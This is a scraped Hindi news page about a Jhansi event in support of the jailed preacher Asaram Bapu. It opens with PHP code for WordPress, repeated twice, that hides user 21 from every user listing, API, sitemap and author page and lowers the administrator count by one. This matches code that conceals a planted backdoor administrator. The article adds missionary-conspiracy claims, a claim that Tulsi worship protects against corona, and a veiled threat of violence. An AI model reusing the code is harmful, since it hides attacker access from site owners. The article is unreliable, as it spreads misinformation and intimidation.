add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
स्वामी विवेकानंद के सौ साल बाद संत आसाराम बापू ने किया था शिकागो धर्म संसद में भारत का प्रतिनिधित्व :धनंजय देसाई - Press Ki Taquat
No Result
View All Result
गुरसराय,झांसी(डॉ पुष्पेंद्र सिंह चौहान)-श्री योग वेदान्त सेवा समिति झांसी द्वारा आयोजित स्वामी विवेकानंद के जन्मदिवस और राष्ट्रीय युवा दिवस के अवसर पर हिंदू राष्ट्र सेना के राष्ट्रीय अध्यक्ष धनंजय देसाई के मुख्य आतिथ्य में हुए कार्यक्रम में हिंदू धर्म और जीवन पद्धति पर विस्तार से विचार विमर्श किया गया इस अवसर पर श्री देसाई ने कहा कि आज हिंदू राष्ट्र की बात करने वाले लोग यह भूल रहे हैं कि संतो की बगैर हिंदू राष्ट्र की कल्पना करना भी निरर्थक है। युवाओं को सच्चा मार्गदर्शन प्रदान करने वाले एक राष्ट्रीय संत जिन्होंने अपनी तपस्या के बल पर व्यापक हिंदू जनमानस में राष्ट्रीयता और धर्म के मूल्यों का संचार किया आज उन्ही को कारावास में डाला गया है। ज्ञातव्य है कि कल स्वामी विवेकानंद जयंती की पूर्व संध्या पर हुई प्रेस कॉन्फ्रेंस में धनंजय देसाई ने संत आसाराम बापू जी की कारावास में रखने को लेकर जिन उठाया था उन्होंने सीधे शब्दों में कहा था कि बापू जी के खिलाफ हुए षड्यंत्र में राष्ट्र विरोधी शक्तियों और ईसाई मिशनरियों का हाथ है। कार्यक्रम में युवा सेवा संघ की अध्यक्ष भरत यादव ने कहा कि युवाओं को वैलेंटाइन की जगह मातृ – पितृ पूजन दिवस मनाने की प्रेरणा देने वाले 25 दिसंबर को तुलसी पूजन कराकर करोना जैसी तमाम संक्रामक बीमारियों से हमारी रक्षा करने वाले बापू जी सच्चे अर्थों में राष्ट्रसंत उनको शीघ्रातिशीघ्र सम्मान रिहा करना चाहिए। इस अवसर पर बाल संस्कार प्रभारी डॉ पुष्पेंद्र सिंह चौहान ने कहा कि हजारों बाल संस्कार केंद्र खुलवा कर बच्चों को संस्कारवान और चरित्रवान बनाकर भारत को विश्वगुरु के पथ पर अग्रसर करने वाले संत श्री आसाराम जी बापू महान भारतीय संत परंपरा के संवाहक हैं। धनंजय देसाई जैसे योद्दा अब मैदान में आ चुके हैं अब हम शांत नहीं बैठेंगे हम साधकों के हाथ में बापू जी ने माला दी है शासन प्रशासन को आगाह करते हैं कि हमें भाला उठाने को बाध्य न होना पड़े। कार्यक्रम में बड़ी संख्या में साधक भक्त एवं लोग उपस्थित रहे मुख्य रूप से योगदान सेवा समिति अध्यक्ष रामस्वरुप गुप्त, आर पी खरे, विनोद दीक्षित, शारदा प्रसाद , दयाराम साहू बान सिंह पाल,लता कुशवाहा,नम्रता तिवारी इत्यादि उपस्थित रहे।
Post Views: 247
No Result
View All Result